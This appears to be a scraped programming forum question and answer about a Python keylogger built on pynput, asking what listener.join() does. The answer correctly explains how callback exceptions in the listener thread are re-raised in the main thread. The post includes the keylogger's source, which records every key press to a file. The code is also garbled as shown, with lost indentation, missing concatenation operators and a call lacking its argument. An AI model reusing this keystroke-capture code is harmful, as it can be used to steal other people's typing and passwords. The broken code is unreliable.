This is a Keylogger and in KeyInput function there is listener.join()
but what is that for?
from pynput import keyboard
def KeyInput():
with keyboard.Listener(on_press=KeyLog) as listener:
# whenever there is a press on a key on the keyboard, it's directed to KeyLog
listener.join()
def KeyLog(key):
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows')
else:
K = ' ' str(key) ' '
# keys like ctrl, caps lock, windows, etc
with open('keylogs.txt', 'a') as File:
File.write(K '\n')
File.close()
KeyInput()
KeyLog()
The documentation of pynput says:
If a callback handler raises an exception, the listener will be stopped. Since callbacks run in a dedicated thread, the exceptions will not automatically be reraised.
To be notified about callback errors, call
Thread.join
on the listener instance.
What does it mean by "callback error"?
CodePudding user response:
"callback" refers to the KeyLog
function being passed as on_press
argument to keyboard.Listener
.
The listener is a separate thread which calls KeyLog
whenever there is a key press event.
If KeyLog
raises an exception (e.g. if the "keylogs.txt" file can't be opened), this is a "callback error"; an error in the callback function. But it happens in the listener thread, and the main thread (where KeyInput
is called) has no possibility to handle the exception (for example to display a message to the user that the file can't be opened).
In order to be able to handle the exception in the main thread, it must be propagated from the listener thread. This is what listener.join
does (which is the join
method of the Thread
class, since Listener
is a subclass):
If there was an exception in the KeyLog
function, it will be raised by listener.join()
again, so that it can be handled in the main thread.